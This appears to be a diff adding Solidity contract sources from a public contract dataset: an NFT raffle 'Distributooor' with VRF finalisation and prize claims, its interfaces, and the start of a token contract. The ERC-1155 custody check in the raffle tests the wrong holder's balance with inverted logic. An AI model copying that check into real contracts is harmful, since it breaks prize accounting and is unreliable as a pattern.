claimooor,\n tokenId\n );\n } else if (prizeType == PrizeType.ERC1155) {\n (\n address nftContract,\n uint256 tokenId,\n uint256 amount\n ) = _getERC1155Prize(rawPrize);\n IERC1155(nftContract).safeTransferFrom(\n address(this),\n claimooor,\n tokenId,\n amount,\n bytes(\"\")\n );\n }\n\n emit Claimed(claimooor, index, permutedIndex);\n }\n\n function requestMerkleRoot(\n uint256 chainId,\n address collectooorFactory,\n address collectooor\n ) external onlyAfterActivation onlyOwner {\n IDistributooorFactory(distributooorFactory).requestMerkleRoot(\n chainId,\n collectooorFactory,\n collectooor\n );\n }\n\n /// @notice See {IDistributooor-receiveParticipantsMerkleRoot}\n function receiveParticipantsMerkleRoot(\n uint256 srcChainId,\n address srcCollector,\n uint256 blockNumber,\n bytes32 merkleRoot_,\n uint256 nParticipants_\n ) external onlyAfterActivation onlyFactory {\n if (raffleId != 0 || merkleRoot != 0 || nParticipants != 0) {\n // Only allow merkle root to be received once;\n // otherwise it's already finalised\n revert MerkleRootRejected(merkleRoot_, nParticipants_, blockNumber);\n }\n if (randRequestId != 0 && block.timestamp - lastRandRequest < 1 hours) {\n // Allow retrying a VRF call if 1 hour has passed\n revert RandomRequestInFlight(randRequestId);\n }\n lastRandRequest = block.timestamp;\n\n merkleRoot = merkleRoot_;\n nParticipants = nParticipants_;\n emit MerkleRootReceived(merkleRoot_, nParticipants_, blockNumber);\n\n provenance = string(\n abi.encodePacked(\n srcChainId.toString(),\n \":\",\n srcCollector.toHexString()\n )\n );\n\n // Next step: call VRF\n randRequestId = IRandomiser(randomiser).getRandomNumber(address(this));\n }\n\n /// @notice See {IRandomiserCallback}\n function receiveRandomWords(\n uint256 requestId,\n uint256[] calldata randomWords\n ) external {\n if (_msgSender() != randomiser) {\n revert UnknownRandomiser(_msgSender());\n }\n if (randRequestId != requestId) {\n revert InvalidRequestId(requestId);\n }\n if (merkleRoot == 0 || nParticipants == 0) {\n revert MerkleRootNotReady(requestId);\n }\n if (raffleId != 0) {\n revert AlreadyFinalised(raffleId);\n }\n if (randomWords.length == 0) {\n revert InvalidRandomWords(randomWords);\n }\n\n // Finalise raffle\n bytes32 merkleRoot_ = merkleRoot;\n uint256 nParticipants_ = nParticipants;\n uint256 randomness = randomWords[0];\n string memory provenance_ = provenance;\n uint256 raffleId_ = IRaffleChef(raffleChef).commit(\n merkleRoot_,\n nParticipants_,\n prizes.length,\n provenance_,\n randomness\n );\n raffleId = raffleId_;\n\n emit Finalised(\n raffleId_,\n merkleRoot_,\n nParticipants_,\n randomness,\n provenance_\n );\n }\n\n /// @notice Load a prize into this contract as the nth prize where\n /// n == |prizes|\n function onERC721Received(\n address,\n address,\n uint256 tokenId,\n bytes calldata\n ) external returns (bytes4) {\n _addERC721Prize(_msgSender(), tokenId);\n return this.onERC721Received.selector;\n }\n\n /// @notice Add prize as nth prize if ERC721 token is already loaded into\n /// this contract.\n /// @param nftContract NFT contract address\n /// @param tokenId Token ID of the NFT to accept\n function _addERC721Prize(address nftContract, uint256 tokenId) internal {\n // Ensure that this contract actually has custody of the ERC721\n if (IERC721(nftContract).ownerOf(tokenId) != address(this)) {\n revert ERC721NotReceived(nftContract, tokenId);\n }\n\n // Record prize\n bytes memory prize = abi.encode(\n uint8(PrizeType.ERC721),\n nftContract,\n tokenId\n );\n prizes.push(prize);\n emit ERC721Received(nftContract, tokenId);\n }\n\n /// @notice Load prize(s) into this contract. If amount > 1, then\n /// prizes are inserted sequentially as individual prizes.\n function onERC1155Received(\n address,\n address,\n uint256 id,\n uint256 amount,\n bytes calldata options\n ) external returns (bytes4) {\n bool isSinglePrize;\n if (options.length > 0) {\n isSinglePrize = abi.decode(options, (bool));\n }\n\n if (isSinglePrize) {\n _addERC1155Prize(_msgSender(), id, amount);\n } else {\n for (uint256 i; i < amount; ++i) {\n _addERC1155Prize(_msgSender(), id, 1);\n }\n }\n return this.onERC1155Received.selector;\n }\n\n /// @notice Load prize(s) into this contract. If amount > 1, then\n /// prizes are inserted sequentially as individual prizes.\n function onERC1155BatchReceived(\n address,\n address,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata options\n ) external returns (bytes4) {\n require(ids.length == amounts.length);\n\n bool isSinglePrize;\n if (options.length > 0) {\n isSinglePrize = abi.decode(options, (bool));\n }\n\n for (uint256 i; i < ids.length; ++i) {\n if (isSinglePrize) {\n _addERC1155Prize(_msgSender(), ids[i], amounts[i]);\n } else {\n for (uint256 j; j < amounts[i]; ++j) {\n _addERC1155Prize(_msgSender(), ids[i], 1);\n }\n }\n }\n return this.onERC1155BatchReceived.selector;\n }\n\n /// @notice Add prize as nth prize if ERC1155 token is already loaded into\n /// this contract.\n /// @notice NB: The contract does not check that there is enough ERC1155\n /// tokens to distribute as prizes.\n /// @param nftContract NFT contract address\n /// @param tokenId Token ID of the NFT to accept\n /// @param amount Amount of ERC1155 tokens\n function _addERC1155Prize(\n address nftContract,\n uint256 tokenId,\n uint256 amount\n ) internal {\n // Ensure that this contract actually has custody of the ERC721\n if (IERC1155(nftContract).balanceOf(nftContract, tokenId) >= amount) {\n revert ERC1155NotReceived(nftContract, tokenId, amount);\n }\n\n // Record prize\n bytes memory prize = abi.encode(\n uint8(PrizeType.ERC1155),\n nftContract,\n tokenId,\n amount\n );\n prizes.push(prize);\n emit ERC1155Received(nftContract, tokenId, amount);\n }\n\n /// @notice Add k ERC1155 tokens as the [n+0..n+k)th prizes\n /// @notice NB: The contract does not check that there is enough ERC1155\n /// tokens to distribute as prizes.\n /// @param nftContract NFT contract address\n /// @param tokenId Token ID of the NFT to accept\n /// @param amount Amount of ERC1155 tokens\n function _addERC1155SequentialPrizes(\n address nftContract,\n uint256 tokenId,\n uint256 amount\n ) internal {\n // Ensure that this contract actually has custody of the ERC721\n if (IERC1155(nftContract).balanceOf(nftContract, tokenId) >= amount) {\n revert ERC1155NotReceived(nftContract, tokenId, amount);\n }\n\n // Record prizes\n for (uint256 i; i < amount; ++i) {\n bytes memory prize = abi.encode(\n uint8(PrizeType.ERC1155),\n nftContract,\n tokenId,\n 1\n );\n prizes.push(prize);\n }\n }\n\n function _getPrizeType(\n bytes memory prize\n ) internal pure returns (PrizeType) {\n uint8 rawType;\n assembly {\n rawType := and(mload(add(prize, 0x20)), 0xff)\n }\n if (rawType > 1) {\n revert InvalidPrizeType(rawType);\n }\n return PrizeType(rawType);\n }\n\n function _getERC721Prize(\n bytes memory prize\n ) internal pure returns (address nftContract, uint256 tokenId) {\n (, nftContract, tokenId) = abi.decode(prize, (uint8, address, uint256));\n }\n\n function _getERC1155Prize(\n bytes memory prize\n )\n internal\n pure\n returns (address nftContract, uint256 tokenId, uint256 amount)\n {\n (, nftContract, tokenId, amount) = abi.decode(\n prize,\n (uint8, address, uint256, uint256)\n );\n }\n\n /// @notice Self-explanatory\n function getPrizeCount() public view returns (uint256) {\n return prizes.length;\n }\n\n /// @notice Get a slice of the prize list at the desired offset. The prize\n /// list is represented in raw bytes, with the 0th byte signifying\n /// whether it's an ERC-721 or ERC-1155 prize. See {_getPrizeType},\n /// {_getERC721Prize}, and {_getERC1155Prize} functions for how to\n /// decode each prize.\n /// @param offset Prize index to start slice at (0-based)\n /// @param limit How many prizes to fetch at maximum (may return fewer)\n function getPrizes(\n uint256 offset,\n uint256 limit\n ) public view returns (bytes[] memory prizes_) {\n uint256 len = prizes.length;\n if (len == 0 || offset >= prizes.length) {\n return new bytes[](0);\n }\n limit = offset + limit >= prizes.length\n ? prizes.length - offset\n : limit;\n prizes_ = new bytes[](limit);\n for (uint256 i; i < limit; ++i) {\n prizes_[i] = prizes[offset + i];\n }\n }\n\n /// @notice Withdraw ERC721 after deadline has passed\n function withdrawERC721(\n address nftContract,\n uint256 tokenId\n ) external onlyOwner onlyAfterExpiry {\n IERC721(nftContract).safeTransferFrom(\n address(this),\n _msgSender(),\n tokenId\n );\n emit ERC721Reclaimed(nftContract, tokenId);\n }\n\n /// @notice Withdraw ERC1155 after deadline has passed\n function withdrawERC1155(\n address nftContract,\n uint256 tokenId,\n uint256 amount\n ) external onlyOwner onlyAfterExpiry {\n IERC1155(nftContract).safeTransferFrom(\n address(this),\n _msgSender(),\n tokenId,\n amount,\n bytes(\"\")\n );\n emit ERC1155Reclaimed(nftContract, tokenId, amount);\n }\n}\n"
|
42 |
+
},
|
43 |
+
"contracts/interfaces/IDistributooor.sol": {
|
44 |
+
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity 0.8.17;\n\ninterface IDistributooor {\n /// @notice Receive a merkle root from a trusted source.\n /// @param srcChainId Chain ID where the Merkle collector lives\n /// @param srcCollector Contract address of Merkle collector\n /// @param blockNumber Block number at which the Merkle root was calculated\n /// @param merkleRoot Merkle root of participants\n /// @param nParticipants Number of participants in the merkle tree\n function receiveParticipantsMerkleRoot(\n uint256 srcChainId,\n address srcCollector,\n uint256 blockNumber,\n bytes32 merkleRoot,\n uint256 nParticipants\n ) external;\n\n event MerkleRootReceived(\n bytes32 merkleRoot,\n uint256 nParticipants,\n uint256 blockNumber\n );\n\n event ERC721Received(address nftContract, uint256 tokenId);\n event ERC1155Received(address nftContract, uint256 tokenId, uint256 amount);\n event ERC721Reclaimed(address nftContract, uint256 tokenId);\n event ERC1155Reclaimed(\n address nftContract,\n uint256 tokenId,\n uint256 amount\n );\n event Finalised(\n uint256 raffleId,\n bytes32 merkleRoot,\n uint256 nParticipants,\n uint256 randomness,\n string provenance\n );\n\n error Unauthorised(address caller);\n error MerkleRootRejected(\n bytes32 merkleRoot,\n uint256 nParticipants,\n uint256 blockNumber\n );\n error InvalidSignature(\n bytes signature,\n address expectedSigner,\n address recoveredSigner\n );\n error InvalidRequestId(uint256 requestId);\n error MerkleRootNotReady(uint256 requestId);\n error AlreadyFinalised(uint256 raffleId);\n}\n"
|
45 |
+
},
|
46 |
+
"contracts/interfaces/IDistributooorFactory.sol": {
|
47 |
+
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity 0.8.17;\n\ninterface IDistributooorFactory {\n enum CrossChainAction {\n ReceiveMerkleRoot\n }\n\n struct ReceiveMerkleRootParams {\n /// @notice Original requester of merkle root\n address requester;\n /// @notice Merkle root collector\n address collectooor;\n uint256 blockNumber;\n bytes32 merkleRoot;\n uint256 nodeCount;\n }\n\n event DistributooorMasterCopyUpdated(\n address oldMasterCopy,\n address newMasterCopy\n );\n event DistributooorDeployed(address distributooor);\n event RaffleChefUpdated(address oldRaffleChef, address newRaffleChef);\n\n error UnknownConsumer(address consumer);\n\n /// @notice Request merkle root from an external collectooor\n function requestMerkleRoot(\n uint256 chainId,\n address collectooorFactory,\n address collectooor\n ) external;\n}\n"
|
48 |
+
},
|
49 |
+
"contracts/interfaces/IRaffleChef.sol": {
|
50 |
+
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity 0.8.17;\n\ninterface IRaffleChef {\n event RaffleCreated(uint256 indexed raffleId);\n event RaffleCommitted(uint256 indexed raffleId);\n\n error RaffleNotRolled(uint256 raffleId);\n error InvalidCommitment(\n uint256 raffleId,\n bytes32 merkleRoot,\n uint256 nParticipants,\n uint256 nWinners,\n uint256 randomness,\n string provenance\n );\n error Unauthorised(address unauthorisedUser);\n error StartingRaffleIdTooLow(uint256 raffleId);\n error InvalidProof(bytes32 leaf, bytes32[] proof);\n\n /// @dev Descriptive state of a raffle based on its variables that are set/unset\n enum RaffleState {\n /// @dev Default state\n Unknown,\n /// @dev Done\n Committed\n }\n\n /// @notice Structure of every raffle; presence of certain elements indicate the raffle state\n struct Raffle {\n bytes32 participantsMerkleRoot;\n uint256 nParticipants;\n uint256 nWinners;\n uint256 randomSeed;\n address owner;\n string provenance;\n }\n\n /// @notice Publish a commitment (the merkle root of the finalised participants list, and\n /// the number of winners to draw, and the random seed). Only call this function once\n /// the random seed and list of raffle participants has finished being collected.\n /// @param participantsMerkleRoot Merkle root constructed from finalised participants list\n /// @param nWinners Number of winners to draw\n /// @param provenance IPFS CID of this raffle's provenance including full participants list\n /// @param randomness Random seed for the raffle\n /// @return Raffle ID that can be used to lookup the raffle results, when\n /// the raffle is finalised.\n function commit(\n bytes32 participantsMerkleRoot,\n uint256 nParticipants,\n uint256 nWinners,\n string calldata provenance,\n uint256 randomness\n ) external returns (uint256);\n\n /// @notice Verify that an account is in the winners list for a specific raffle\n /// using a merkle proof and the raffle's previous public commitments. This is\n /// a view-only function that does not record if a winner has already claimed\n /// their win; that is left up to the caller to handle.\n /// @param raffleId ID of the raffle to check against\n /// @param leafHash Hash of the leaf value that represents the participant\n /// @param proof Merkle subproof (hashes)\n /// @param originalIndex Original leaf index in merkle tree, part of merkle proof\n /// @return isWinner true if claiming account is indeed a winner\n /// @return permutedIndex winning (shuffled) index\n function verifyRaffleWinner(\n uint256 raffleId,\n bytes32 leafHash,\n bytes32[] calldata proof,\n uint256 originalIndex\n ) external view returns (bool isWinner, uint256 permutedIndex);\n\n /// @notice Get an existing raffle\n /// @param raffleId ID of raffle to get\n /// @return raffle data, if it exists\n function getRaffle(uint256 raffleId) external view returns (Raffle memory);\n\n /// @notice Get the current state of raffle, given a `raffleId`\n /// @param raffleId ID of raffle to get\n /// @return See {RaffleState} enum\n function getRaffleState(\n uint256 raffleId\n ) external view returns (RaffleState);\n}\n"
|
51 |
+
},
|
52 |
+
"contracts/interfaces/IRandomiser.sol": {
|
53 |
+
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity 0.8.17;\n\ninterface IRandomiser {\n function getRandomNumber(\n address callbackContract\n ) external returns (uint256 requestId);\n}\n"
|
54 |
+
},
|
55 |
+
"contracts/interfaces/IRandomiserCallback.sol": {
|
56 |
+
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity ^0.8;\n\ninterface IRandomiserCallback {\n function receiveRandomWords(\n uint256 requestId,\n uint256[] calldata randomWords\n ) external;\n}\n"
|
57 |
+
},
|
58 |
+
"contracts/interfaces/TypeAndVersion.sol": {
|
59 |
+
"content": "// SPDX-License-Identifier: MIT\n/**\n The MIT License (MIT)\n\n Copyright (c) 2018 SmartContract ChainLink, Ltd.\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE.\n*/\n\npragma solidity ^0.8;\n\nabstract contract TypeAndVersion {\n function typeAndVersion() external pure virtual returns (string memory);\n}\n"
|
60 |
+
}
|
61 |
+
},
|
62 |
+
"settings": {
|
63 |
+
"viaIR": true,
|
64 |
+
"optimizer": {
|
65 |
+
"enabled": true,
|
66 |
+
"runs": 1000
|
67 |
+
},
|
68 |
+
"outputSelection": {
|
69 |
+
"*": {
|
70 |
+
"*": [
|
71 |
+
"evm.bytecode",
|
72 |
+
"evm.deployedBytecode",
|
73 |
+
"devdoc",
|
74 |
+
"userdoc",
|
75 |
+
"metadata",
|
76 |
+
"abi"
|
77 |
+
]
|
78 |
+
}
|
79 |
+
},
|
80 |
+
"libraries": {}
|
81 |
+
}
|
82 |
+
}
|
organized_contracts/00/000ab28b4a65257ea199f8f36cb5fc7e701c1dc548687aab94c179399043e8b1/metadata.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"ContractName":"Distributooor","CompilerVersion":"v0.8.17+commit.8df45f5f","Runs":1000,"OptimizationUsed":true,"BytecodeHash":"000ab28b4a65257ea199f8f36cb5fc7e701c1dc548687aab94c179399043e8b1"}
|
organized_contracts/00/000aeabc20fe15234a2acca91f956c7dbcda7b2f4d6f1e8f167653c66c6cd85a/main.sol
ADDED
@@ -0,0 +1,909 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
|
2 |
+
|
3 |
+
/**
|
4 |
+
*
|
5 |
+
- MIXER - SNIPER - DEFi
|
6 |
+
|
7 |
+
- Telegram : https://t.me/delphimoney
|
8 |
+
|
9 |
+
*/
|
10 |
+
// SPDX-License-Identifier: AGPL-3.0-or-later
|
11 |
+
pragma solidity 0.7.5;
|
12 |
+
|
13 |
+
library EnumerableSet {
|
14 |
+
|
15 |
+
// To implement this library for multiple types with as little code
|
16 |
+
// repetition as possible, we write it in terms of a generic Set type with
|
17 |
+
// bytes32 values.
|
18 |
+
// The Set implementation uses private functions, and user-facing
|
19 |
+
// implementations (such as AddressSet) are just wrappers around the
|
20 |
+
// underlying Set.
|
21 |
+
// This means that we can only create new EnumerableSets for types that fit
|
22 |
+
// in bytes32.
|
23 |
+
struct Set {
|
24 |
+
// Storage of set values
|
25 |
+
bytes32[] _values;
|
26 |
+
|
27 |
+
// Position of the value in the `values` array, plus 1 because index 0
|
28 |
+
// means a value is not in the set.
|
29 |
+
mapping (bytes32 => uint256) _indexes;
|
30 |
+
}
|
31 |
+
|
32 |
+
/**
|
33 |
+
* @dev Add a value to a set. O(1).
|
34 |
+
*
|
35 |
+
* Returns true if the value was added to the set, that is if it was not
|
36 |
+
* already present.
|
37 |
+
*/
|
38 |
+
function _add(Set storage set, bytes32 value) private returns (bool) {
|
39 |
+
if (!_contains(set, value)) {
|
40 |
+
set._values.push(value);
|
41 |
+
// The value is stored at length-1, but we add 1 to all indexes
|
42 |
+
// and use 0 as a sentinel value
|
43 |
+
set._indexes[value] = set._values.length;
|
44 |
+
return true;
|
45 |
+
} else {
|
46 |
+
return false;
|
47 |
+
}
|
48 |
+
}
|
49 |
+
|
50 |
+
/**
|
51 |
+
* @dev Removes a value from a set. O(1).
|
52 |
+
*
|
53 |
+
* Returns true if the value was removed from the set, that is if it was
|
54 |
+
* present.
|
55 |
+
*/
|
56 |
+
function _remove(Set storage set, bytes32 value) private returns (bool) {
|
57 |
+
// We read and store the value's index to prevent multiple reads from the same storage slot
|
58 |
+
uint256 valueIndex = set._indexes[value];
|
59 |
+
|
60 |
+
if (valueIndex != 0) { // Equivalent to contains(set, value)
|
61 |
+
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
|
62 |
+
// the array, and then remove the last element (sometimes called as 'swap and pop').
|
63 |
+
// This modifies the order of the array, as noted in {at}.
|
64 |
+
|
65 |
+
uint256 toDeleteIndex = valueIndex - 1;
|
66 |
+
uint256 lastIndex = set._values.length - 1;
|
67 |
+
|
68 |
+
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
|
69 |
+
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
|
70 |
+
|
71 |
+
bytes32 lastvalue = set._values[lastIndex];
|
72 |
+
|
73 |
+
// Move the last value to the index where the value to delete is
|
74 |
+
set._values[toDeleteIndex] = lastvalue;
|
75 |
+
// Update the index for the moved value
|
76 |
+
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
|
77 |
+
|
78 |
+
// Delete the slot where the moved value was stored
|
79 |
+
set._values.pop();
|
80 |
+
|
81 |
+
// Delete the index for the deleted slot
|
82 |
+
delete set._indexes[value];
|
83 |
+
|
84 |
+
return true;
|
85 |
+
} else {
|
86 |
+
return false;
|
87 |
+
}
|
88 |
+
}
|
89 |
+
|
90 |
+
/**
|
91 |
+
* @dev Returns true if the value is in the set. O(1).
|
92 |
+
*/
|
93 |
+
function _contains(Set storage set, bytes32 value) private view returns (bool) {
|
94 |
+
return set._indexes[value] != 0;
|
95 |
+
}
|
96 |
+
|
97 |
+
/**
|
98 |
+
* @dev Returns the number of values on the set. O(1).
|
99 |
+
*/
|
100 |
+
function _length(Set storage set) private view returns (uint256) {
|
101 |
+
return set._values.length;
|
102 |
+
}
|
103 |
+
|
104 |
+
/**
|
105 |
+
* @dev Returns the value stored at position `index` in the set. O(1).
|
106 |
+
*
|
107 |
+
* Note that there are no guarantees on the ordering of values inside the
|
108 |
+
* array, and it may change when more values are added or removed.
|
109 |
+
*
|
110 |
+
* Requirements:
|
111 |
+
*
|
112 |
+
* - `index` must be strictly less than {length}.
|
113 |
+
*/
|
114 |
+
function _at(Set storage set, uint256 index) private view returns (bytes32) {
|
115 |
+
require(set._values.length > index, "EnumerableSet: index out of bounds");
|
116 |
+
return set._values[index];
|
117 |
+
}
|
118 |
+
|
119 |
+
function _getValues( Set storage set_ ) private view returns ( bytes32[] storage ) {
|
120 |
+
return set_._values;
|
121 |
+
}
|
122 |
+
|
123 |
+
// TODO needs insert function that maintains order.
|
124 |
+
// TODO needs NatSpec documentation comment.
|
125 |
+
/**
|
126 |
+
* Inserts new value by moving existing value at provided index to end of array and setting provided value at provided index
|
127 |
+
*/
|
128 |
+
function _insert(Set storage set_, uint256 index_, bytes32 valueToInsert_ ) private returns ( bool ) {
|
129 |
+
require( set_._values.length > index_ );
|
130 |
+
require( !_contains( set_, valueToInsert_ ), "Remove value you wish to insert if you wish to reorder array." );
|
131 |
+
bytes32 existingValue_ = _at( set_, index_ );
|
132 |
+
set_._values[index_] = valueToInsert_;
|
133 |
+
return _add( set_, existingValue_);
|
134 |
+
}
|
135 |
+
|
136 |
+
struct Bytes4Set {
|
137 |
+
Set _inner;
|
138 |
+
}
|
139 |
+
|
140 |
+
/**
|
141 |
+
* @dev Add a value to a set. O(1).
|
142 |
+
*
|
143 |
+
* Returns true if the value was added to the set, that is if it was not
|
144 |
+
* already present.
|
145 |
+
*/
|
146 |
+
function add(Bytes4Set storage set, bytes4 value) internal returns (bool) {
|
147 |
+
return _add(set._inner, value);
|
148 |
+
}
|
149 |
+
|
150 |
+
/**
|
151 |
+
* @dev Removes a value from a set. O(1).
|
152 |
+
*
|
153 |
+
* Returns true if the value was removed from the set, that is if it was
|
154 |
+
* present.
|
155 |
+
*/
|
156 |
+
function remove(Bytes4Set storage set, bytes4 value) internal returns (bool) {
|
157 |
+
return _remove(set._inner, value);
